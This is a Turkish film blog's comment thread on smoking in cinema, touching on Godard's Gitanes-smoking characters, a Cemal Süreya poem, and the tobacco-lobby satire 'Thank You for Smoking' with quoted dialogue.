    Fransızlardan devam edersek Yeni Dalga’nın altın çocuğu Jean-Luc Godard’ın hemen her baş karakteri aslında bir tiryakidir. Melville filmlerinde olduğu gibi entel kesimin sigarası olarak da adlandırılan gitanes marka sigarayı film boyunca yakıp yakıp söndüren serseri aşığımız Belmondo ya da tüm Godard külliyatına baktığımızda yönetmenin eşi Anna Karina ile de bu sigaranın tamamen bütünleştiğini görürüz.

  • kadir503 diyor ki:

    Sevgili oscarın yazısını okumadan yazmıştım. Sıkı bir Godard hayranından tabii ki de çok daha derinlikli tespitler gelmiş. Devamını bekliyoruz:)

  • okaliptus80 diyor ki:

    Sigara/Sinema konusuna hiç şüphesiz fazlaca malzeme veren bir ‘akımın’ sevdalısı iki değerli arkadaşımdan nefis yorumlar gelmiş. Ellerinize sağlık! Zannediyorum okuyan herkes büyük keyif alacaktır.

    Sigara içenlere pek rastlamadığımız ‘Sigara İçtiğiniz İçin Teşekkürler’ {Thank You for Smoking – 2005} geliyor aklıma. Filmin bir sahnesinde kartelleri temsilen konuşan adam, sigara şirketleri için ‘müşterinin’ velinimet olduğundan dem vuruyordu. E haksız da sayılmazdı!

    “Yeşil ipek gömleğinin yakası,
    büyük zamana düşer.
    Her şeyin fazlası zararlıdır ya,
    fazla şiirden öldü Edip Cansever!” (Cemal Süreya)

    Fazla ‘sigaradan’ öldü Edip Cansever…

  • okaliptus80 diyor ki:

    ‘Thank You for Smoking’ {Sigara İçtiğiniz İçin Teşekkürler – 2005} / Jason Reitman

    Sigara içilen tek bir sahne dahi barındırmadan sigarayı anlatmaya koyulan bir filmdi.

    Filmde bir sigara tekelinin yönetici kadrosu, düşen satışları nasıl arttırabilirizin endişesi içerisindedir. Tekelin pazarlama ve halkla ilişkiler müdürü Nick Naylor (Aaron Eckhart), bu konudaki fikrini paylaşır:

    - 1910′da Birleşik Devletler yılda 1 milyon sigara üretiyordu. 1930′da 123 milyara çıktık. Arada ne oldu? 3 şey: Bir dünya savaşı… Rejim… Ve FİLMLER… 1927′de konuşan resimler çıktı. Birden, yönetmenler oyuncularına konuşurken yapmaları gereken bir şey buldular. Cary Grant, Carole Lombard parladı. Bette Davis, gaz lambası… Ve Bogart… İlk resmi hatırlıyor musunuz? Lauren Bacall’la olan… Bacall, kapı önünde durduğunda 19 yaşındaydı. Dedi ki “Kibriti olan var mı?”. Ve Bogie ona bir kibrit atar, o da yakalar. Yüzyılın en iyi romansı! Nasıl başladı bu romans? Sigara yakarak. Bu günlerde birileri filmlerde sigara içiyordu. Hollywood’un filmlerde sigara ile ilgili bir mesaj göndermesi gerekiyordu. “Will ve Grace”nin kadrosuna bakalım. Oturma odalarında sigara içiyorlar. “Forrest Gump”, çikolata kutusunun içerisinden sigara çıkarıyor. Hugh Grant, “Notting Hill”de Julia Roberts’e en sevdiği Virginia Slims’i alırken aşık oluyor. Birçok aktör hâlâ sigara içiyor.

    Kaptan ismiyle çağrılan bir sigara baronu rolündeki Robert Duvall da bu fikri destekler:

    - Hollywood yapımcılarına rüşvet vereceğiz. Aktörleri sigara içerken ekranda göstersinler diye. Eski günlerdeki gibi…

    Ne diyelim… Sinemanın gücü!

    NOT: Nikotin bandı ile cinayet teşebbüsü ve paketlerin üzerine kuru kafa resmi koyulması fikri akılda kalıcıydı.

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • Yönetmenler